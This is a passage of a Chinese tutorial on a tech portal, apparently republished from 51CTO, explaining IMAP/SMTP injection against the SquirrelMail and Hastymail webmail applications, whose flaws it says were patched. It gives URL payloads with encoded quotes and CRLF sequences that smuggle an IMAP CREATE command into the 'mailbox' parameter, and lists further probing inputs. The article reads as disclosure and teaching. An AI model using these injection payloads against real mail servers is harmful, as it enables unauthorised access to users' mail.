newasp home
用户管理  |  用户注册
首 页 ┆ 文章中心 ┆ 下载中心 ┆ 图片中心 ┆ 博客中心 ┆ 社区论坛 ┆ 客户留言
  • 站点首页
  • 电脑网络技术
  • 图形图像技术
  • 网络应用
  • 多媒体技术
  • 电脑入门初步
  • 网络推广技术
  • 数据库设计
  • Linux技术
  • 网络动态
用户名: 密码:
当前位置:PC我爱社区 → 文章中心 → 电脑网络技术 → 文章内容

如何利用注射技术攻击邮件服务器?

减小字体 增大字体 作者:康凯  来源:51CTO  发布时间:2008-8-5 22:36:19

COOCO视频会议实现沟通创造价值!  网站建设--像素科技全面推出,各种语言任你选择
文红论文网提供各类论文发表和翻译 影视制作、广告摄影、3D制作、企业形象策划

五、发动攻击

下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。

实施攻击时,必须经过以下两个步骤:

确定出一个有弱点的参数;

了解它的作用范围。

(一)发现有弱点的参数

识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。

当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:

http: //src/right_main.php?
PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX 

如果用户用下列方式修改参数“mailbox”的值:

http:///src/right_main.php?
PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22 

那么应用程序就会返回一个如下所示的错误信息:

ERROR : Bad or malformed request. 

Query: SELECT "INBOX"" 

Server responded: Unexpected extra arguments to Select 

显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=INBOX 

如果用户用下列方式修改参数“mailbox”的值:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=INBOX" 

应用程序将回应下列消息:

Could not access the following folders: 

INBOX\" 

To check for outside changes to the folder 
list go to the folders page 

在此种情况下,添加引号并没有改变应用程序的行为。
结果跟用户已经注入其他任何字符时一样:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST 

那么应用程序就会返回同样的错误信息:

Could not access the following folders: 

NOTEXIST 

To check for outside changes to 
the folder list go to the folders page 

如果用户试图注射其它的IMAP命令:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

"%0d%0aA0003%20CREATE%20"INBOX.test 

那么应用程序就会又返回一个错误信息:

Unable to perform the requested action 

Hastymail said:: A0003 SELECT "INBOX" 

And the IMAP server said:: 

A0003 NO Invalid mailbox name. 

乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=
NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test  

在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:

◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。

上一页  [1] [2] [3] [4] [5]  下一页

[] [返回上一页] [打 印]
  • ·上一篇文章:FLASH鼠绘教程:坐在凉椅上的靓丽美女
  • ·下一篇文章:交换机封帧引发故障解决方案

文章评论评论内容只代表网友观点,与本站立场无关!

用户名: ! 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 0分

内 容: !

         (注“!”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码

频道栏目导航

  • 电脑网络技术
  • 图形图像技术
  • 网络应用
  • 多媒体技术
  • 电脑入门初步
  • 网络推广技术
  • 数据库设计
  • Linux技术
  • 网络动态
  • 更多分类

本类热门阅览

  • · Guest权限突破
  • · 如何设置虚拟主机访问权限
  • · 腾讯QQ被盗的形式及密码保护技巧
  • · 注意警惕DoS的路由器攻击
  • · 查找ip的一些方法
  • · IIS配置文件后门
  • · ASP漏洞全接触-高级篇
  • · Linux服务器的攻防技术介绍
  • · 主板知识大全(下)
  • · 网络安全新木桶理论与信息安全
  • · 入侵检测及网络安全发展技术探讨(2...
  • · 系统漏洞分析:DoS拒绝服务攻击来袭...

相关文章

  • ·如何利用注射技术攻击邮件服务器?
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登陆
网站备案号:沪ICP备06047794号
本站的各类网络聊天工具,系统工具,媒体工具,绿色软件如有侵犯你的版权,请指出,本站将立即改正。
建议您使用1024*768分辨率浏览下载本站的免费软件(绿色软件)资源
软件站版权所有:PC我爱社区 站长:子昀 点击这里和我联系